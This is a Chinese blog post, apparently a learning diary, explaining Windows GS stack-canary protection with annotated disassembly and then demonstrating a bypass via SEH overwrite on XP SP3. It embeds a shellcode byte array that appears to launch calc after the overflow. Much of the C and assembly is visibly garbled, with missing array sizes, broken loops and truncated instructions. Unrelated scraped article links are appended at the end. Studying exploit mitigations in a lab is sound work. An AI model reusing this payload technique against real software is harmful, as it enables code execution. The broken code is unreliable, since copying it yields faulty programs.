逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试
GS简介:
Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址或者异常处理句柄的话,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序,no return,no exception,so no exploit。
GS原理:
下面用一个简单的C程序来跟踪一下GS的流程,测试环境为XP SP3+VS2005(DEP OFF,SAFESEH OFF)。
C代码:
#include "stdafx.h"
#include<stdio.h>
#include<string.h>
char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
void overflow();
int main()
{
overflow();
printf("fuction returned");
;
}
void overflow()
{
];
memcpy(output, name,sizeof(name));
;i<&&output[i];i++)
printf("\\0x%x",output[i]);
}
编译之后,执行直接报错,因为复制字符串时发生了溢出,覆盖了canary,程序直接退出。
用Olldbg打开,如下图:

系统默认中断在security_init_cookie函数,程序载入内存后这个函数首先运行。下面就是通过OD来查看GS机制的分析部分,分三个步骤:①计算随机种子。②canary写入栈帧。③GS校验。如果觉得看asm比较枯燥的话,就了解一下这三个步骤的大体流程就可以了。
大体流程就是:
- 程序启动时,读取.data节的第一个dword。
- 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
- 把加密后的种子再写入.data节的第一个dword。
- 函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
- 函数主体正常执行。
- 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。
Asm代码:
① 计算随机种子。
push ebp
004016E5 |. 8BEC mov ebp, esp
mov eax, dword ptr [__security_cookie] //取exe地址00403000处的第一个DWORD到eax。
F8 ], //设置局部变量为0,此处是两个DWORD,作为filetime结构体,后面用来存放获取的系统时间。
FC ], //同上。
push ebx //备份ebx,返回时恢复。
push edi //备份edi,返回时恢复。
004016F9 |. BF 4EE640BB mov edi, BB40E64E //把00403000处的第一个dword,也就是.DATA节的第一个双字赋值给edi。
004016FE |. 3BC7 cmp eax, edi //判断eax和edi是否相等。
|. BB 0000FFFF mov ebx, FFFF0000 //ebx赋值为FFFF0000。
|. //如果eax和edi相等则跳转。
|. 85C3 test ebx, eax
|.
0040170B |. F7D0 not eax
mov dword ptr [__security_cookie_complement], eax
|. EB
|> push esi //备份esi,返回时用来恢复。
|. 8D45 F8 ] //取得filetime结构体地址。
|. push eax ; //pFileTime入栈。
|. FF15 call dword ptr [<&KERNEL32.GetSystemTimeAsFileTime>] ; //调用GetSystemTimeAsFileTime获取系统时间,放入ebp-12至ebp-4共8个字节。
] //取得系统时间的高4字节。
|. F8 ] //系统时间高4字节与低4字节进行异或,结果存入esi。
|. FF15 call dword ptr [<&KERNEL32.GetCurrentProcessId>] //调用GetCurrentProcessId取得当前进行ID,存入eax。
0040172B |. 33F0 xor esi, eax //进程ID和前面的esi进行异或,结果存入esi。
call dword ptr [<&KERNEL32.GetCurrentThreadId>] ; //获取当前线程ID,存入eax。
|. 33F0 xor esi, eax //线程ID和前面的esi进行异或,结果存入esi。
|. FF15 call dword ptr [<&KERNEL32.GetTickCount>] //获取系统启动至今的微秒数,存入eax。
0040173B |. 33F0 xor esi, eax //系统启动至今微秒数和前面的esi进行异或,结果存入esi。
] //准备pPerformanceCount函数的参数,一个large_integer类型的结构体指针,结构体8个字节。
|. push eax // lpPerformanceCount参数入栈。
|. FF15 0C204000 call dword ptr [<&KERNEL32.QueryPerformanceCounter>] //调用性能计数器,其实还是个高精度时间戳。
|. 8B45 F4 mov eax, dword ptr [ebp-C] //把时间戳高4位赋给eax。
F0 ] //把时间戳高4位和低4位进行异或,结果存入eax。和前面GetSystemTimeAsFileTime算法一样。
0040174D |. 33F0 xor esi, eax //时间戳异或结果和esi进行异或计算,结果存入esi。
0040174F |. 3BF7 cmp esi, edi //比较esi和edi是否相同,防止出现碰撞。
|. jnz short 0040175A //不相等的话,跳转。
|. BE 4FE640BB mov esi, BB40E64F //相等的话,
|. EB
0040175A |> 85F3 test ebx, esi //比较esi和ebx是否相同。
//不相同的话,加密结束,写入。
0040175E |. 8BC6 mov eax, esi
|. C1E0
|. 0BF0 or esi, eax
|> mov dword ptr [__security_cookie], esi //把加密后的canary放入.data区首的4个字节。
0040176B |. F7D6 not esi //密文取反。
mov dword ptr [__security_cookie_complement], esi //密文取反写入.data取的第5到第8个字节,紧挨着canary。
|. 5E pop esi //恢复环境。
|> 5F pop edi //恢复环境。
|. 5B pop ebx //恢复环境。
|. C9 leave //恢复环境。与Mov esp,ebp+pop ebp等效。
\. C3 retn //函数返回。
② Canary写入栈帧:
>/$ 83EC 0C sub esp, 0C //函数开头,开辟栈空间。
|. A1 mov eax, dword ptr [__security_cookie] //把加密后的种子赋给eax。
|. 33C4 xor eax, esp //eax和当前esp进行异或计算。
], eax //把异或后得到的canary写入栈帧。
③ GS校验:
] //把canary赋给ecx。
|. 33CC xor ecx, esp //ecx和esp异或。
cmp ecx, dword ptr [__security_cookie] //比较ecx和.data区的加密种子是否相同。
. //不相同则校验失败,跳转失败处理分支。
. F3: prefix rep: //相同则返回原函数。
. C3 retn //相同则返回原函数。
> E9 AD020000 jmp __report_gsfailure //跳入失败处理分支,主要功能是调用UnhandledExceptionFilte,显示个程序崩溃的框框,如果不选择调试,则调用TerminateProcess结束当前进程。
GS绕过:
了解GS的保护原理之后,绕过方法就水到渠成了。既然你GS在我函数返回前就给我来个突然杀出,那我就在你GS校验函数执行之前给你来个突然杀出。如果函数在执行时,发生异常,则操作系统(NTDLL.DLL)会直接接管,然后进入异常处理过程。这样GS校验函数就没有了执行的机会。
其实不只是覆盖SEH这一种绕过方法,只要想办法在函数的security_check_cookie函数执行之前,获取EIP控制权都可以绕过,比如在函数溢出之后且函数返回之前,调用了某些函数指针,如果在溢出的时候覆盖掉这个指针,就可以绕过GS。当然还有同时覆盖.data区和canary来使security_check_cookie验证通过,不过遇到这种漏洞的概率太小了。
下面我们改一下我们的C程序,让溢出的字符串继续往下溢出,直到溢出SEH structure,并且溢出到栈顶,这样就会触发一个访问异常,于是就进入了异常处理过程,从而悄无声息的绕过了GS保护机制。(关于覆盖SEH进行溢出利用的方法请参见我的另一篇博文)。
C代码:
// GSBYPASS.cpp : 定义控制台应用程序的入口点。
#include "stdafx.h"
#include<stdio.h>
#include<string.h>
char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xEB,0x06,0x90,0x90,0x10,0x12,0x40,0x00,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
void overflow();
int main()
{
overflow();
printf("fuction returned");
;
}
void overflow()
{
];
memcpy(output, name,sizeof(name));
;i<&&output[i];i++)
printf("\\0x%x",output[i]);
}
编译,运行,成功绕过:

逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试的更多相关文章
- gcc栈溢出保护机制:stack-protector
关键词:stack-protector.stack-protector-strong.stack-protector-all等等. 1. gcc栈保护机制stack-protector简介 gcc提供 ...
- SonarQube学习(四)- 使用Jenkins集成JaCoCo和SonarQube检查代码测试覆盖率
一.前言 我始终觉得学习这件事是自己的事,自己会了就是会了,无关于他人,但有点小伤感的是现在的阅读量开始走低. 二.准备 安装Jenkins,请移步<Docker学习(二)- Docker 安装 ...
- Python爬虫学习:四、headers和data的获取
之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.c ...
- java之jvm学习笔记四(安全管理器)
java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...
- Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置
Java Web学习(四)Eclipse与Maven整合配置 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6.3) 二. ...
- Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置 (重整版并解决问题)
Java Web学习(四)Eclipse与Maven整合配置 (重整版) 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6 ...
- 【数据库】3.0 MySQL入门学习(三)——Windows系统环境下MySQL安装
1.0 我的操作系统是window10 专业版 64位.,不过至少windows7以上系统都是一样的. 关于MySQL如何下载,请参考博文: [数据库]2.0 如何获得MySQL以及MySQL安装 h ...
- SODBASE CEP学习(四)续:类SQL语言EPL与Storm或jStorm集成-使用分布式缓存
流式计算在一些情况下会用到分布式缓存,从而实现(1)想把统计或计算结果保存在分布缓存中.供其他模块或其他系统调用. (2)某一滑动时间窗体上计数.比如实时统计1小时每一个Cookie的訪问量.实时统计 ...
- kvm虚拟化学习笔记(四)之kvm虚拟机日常管理与配置
KVM虚拟化学习笔记系列文章列表----------------------------------------kvm虚拟化学习笔记(一)之kvm虚拟化环境安装http://koumm.blog.51 ...
随机推荐
- FlashBuilder4安装SVN插件步骤
1. 选择菜单 帮助–> 安装新软件 2. 在使用里键入地址: http://subclipse.tigris.org/update_1.6.x并点击添加 在Subclipse栏里选择带有Re ...
- Eclipse安装SVN插件
Eclipse 安装最新SVN插件 下载地址 下载最新的Eclipse,我使用的是eclipse-jee-kepler-SR2-win32-x86_64.zip(Eclipse IDE for Jav ...
- maven 打包含有第三方依赖的 jar 包
maven 打包含有第三方依赖的 jar 包:mvn assembly:assembly
- Appfuse:权限控制
Appfuse的权限控制依赖于Struts的Menu机制,common下的menu.jsp是对菜单顺序的定义,详细的菜单项和菜单链接及权限再menu-config.xml中控制,如下: <Men ...
- VS2015调试时没有启动IIS Express Web服务器 或者停止调试时 IIS Express 跟着关闭
解决方法: 打开 解决方案资源管理器 -> 点选 Web 项目选择 -> 属性 -> Web "服务器" 去掉勾选"将服务器设置应道所有用户" ...
- 通过中看不中用的代码分析Ioc容器,依赖注入....
/** * 通过生产拥有超能力的超人实例 来理解IOC容器 */ //超能力模组接口 interface SuperModuleInterface{ public function activate( ...
- JavaScript 解析 Django Python 生成的 datetime 数据 时区问题解决
JavaScript 解析 Django/Python 生成的 datetime 数据 当Web后台使用Django时,后台生成的时间数据类型就是Python类型的. 项目需要将几个时间存储到数据库中 ...
- CODE[VS]4633Mz树链剖分练习
Description 给定一棵结点数为n的树,初始点权均为0,有依次q个操作,每次操作有三个参数a,b,c,当a=1时,表示给b号结点到c号结点路径上的所有点(包括b,c,下同)权值都增加1,当a= ...
- js特效,加速度,图标跳动
看到一个在地图上的特效,就是标注当前位置之后,图标一直在跳动,那效果看着比较得劲,就自己写了个图标跳动的jsjs代码: setTimeout("jump()",5); var t= ...
- C++使用vector
#include <iostream> #include <string> #include <vector> using namespace std; void ...